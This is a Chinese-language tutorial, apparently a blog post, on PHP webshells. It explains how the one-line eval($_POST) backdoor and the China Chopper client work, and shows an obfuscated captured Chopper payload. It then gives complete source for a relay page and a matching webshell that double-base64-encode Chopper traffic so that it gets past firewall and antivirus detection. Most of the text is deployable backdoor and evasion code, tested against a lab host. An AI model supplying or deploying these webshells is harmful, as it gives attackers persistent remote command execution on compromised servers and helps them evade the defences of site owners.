0x01 原理
這裡先給大家介紹一句話木馬和菜刀的工作原理,瞭解的可以往下面翻
一句話木馬
先說說一句話木馬的原理
<?php eval($_POST['c']);?>
先說說eval()這個函式
簡單點說,eval()這個函式會把引數當作程式碼來執行
什麼叫做把引數當作程式碼來執行,簡單舉個例子
<?php phpinfo();?>
phpinfo()函式都明白吧,不明白也沒關係,它執行結果是這樣的
<?php eval('phpinfo();');?>
當把phpinfo()函式作為字串傳遞給eval()函式時,效果就相當於剛才的程式碼
關於eval()函式就介紹到此,如果還有不明白的自己翻翻資料,或者私信我
下面再說我們剛才寫的那個一句話木馬,現在理解起來就容易多了,它會把POST傳遞過來的引數c的內容作為PHP程式碼執行,具體執行的內容由POST引數決定,比如執行系統命令
POST
c=system('whoami');
這樣只需要不斷改變POST過來的資料,就可以實現任意功能
這就是一句話木馬的原理
菜刀
理解了一句話木馬的原理後,菜刀的原理就更簡單了
菜刀其實就是根據一句話木馬的原理,將常用的一些操作的程式碼封裝好,再結合影像介面(GUI),實現當你雙擊資料夾時便可列出目錄
為了方便理解這裡用wireshark抓個資料包
POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D
感興趣的可以將傳送的資料程式碼自己分析分析,這裡就不具體講了
0x02 中轉webshell
先扯點歷史
接著剛才菜刀原理說,既然已知了菜刀是將封裝好的引數根據使用者操作傳送給webshell,那麼站在防護的角度來講,我可以將主流的菜刀引數都設為黑名單,發現就攔截,甚至我可以對你傳送的資料內容進行簡單的自動審計,發現敏感的程式碼直接攔截掉
這個就是早期的一些防護軟體的攔截手段
於是,就有了一幫逆向大牛對菜刀進行逆向,將封裝好的引數進行混淆,或者對防護軟體進行fuzz,然後找到不攔截的引數去替換,這樣就能實現一個“過狗”的效果
但是更有一群人渾水摸魚,在外發放了很多捆有後門的菜刀坐收漁翁之利,而且隨著防護軟體越來越完善,找到一些能夠替換的函式代價太大,於是就有了中轉webshell(主要還是因為不會逆向……因為懶……)
中轉webshell的邏輯很簡單,菜刀不直接向shell傳送資料,而是傳送到中轉的一個頁面上,這個頁面對接收的引數全部進行加密(甚至可以用2048位的RSA,只要你願意),然後再傳送給shell,shell接收後先用同樣的演算法進行解密,然後對執行的結果進行加密,返回給中轉shell,中轉shell再去解密,然後返回給菜刀客戶端
這樣就能實現自定義加密演算法對菜刀的資料進行加密來繞過一些防護裝置,話不多說,上圖
理解了原理就可以開始造輪子了
0x03 造輪子
中轉shell
<?php
set_time_limit(0);
$url = 'http://192.168.157.142:81/shell.php'; //真實shell地址
$opt_data = http_build_query($_POST);
$content = postdata($url,encode($opt_data));
$content = decode($content);
echo $content;
function encode($data){
return base64_encode(base64_encode($data));
}
function decode($data){
return base64_decode(base64_decode($data));
}
function postdata($url,$data){
$curl = curl_init(); //初始化
curl_setopt($curl,CURLOPT_URL,$url); //設定url
curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //設定http驗證方法
curl_setopt($curl,CURLOPT_HEADER,0); //設定頭資訊
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //設定curl_exec獲取的資訊的返回方式
curl_setopt($curl,CURLOPT_POST,1); //設定傳送方式為post請求
curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //設定post的資料
$result = curl_exec($curl);
if($result === false){
echo 'Request False!';
echo curl_errno($curl);
exit();
}
curl_close($curl);
return $result;
}
?>
webshell
<?php
function callback($buffer){
return (encode($buffer));
}
ob_start("callback");
parse_str(decode(file_get_contents('php://input')),$_POST);
eval($_POST['c']);
function encode($data){ //加密演算法
return base64_encode(base64_encode($data));
}
function decode($data){ //解密演算法
return base64_decode(base64_decode($data));
}
ob_end_flush();
?>
效果如下:
- 菜刀連線中轉shell
- 中轉shell修改真實shell的url
- 透過菜刀執行系統命令檢視ip
可以看到我們開啟的是192.168.157.128的會話,但實際操作的確是我們的目標靶機192.168.157.142
至此結束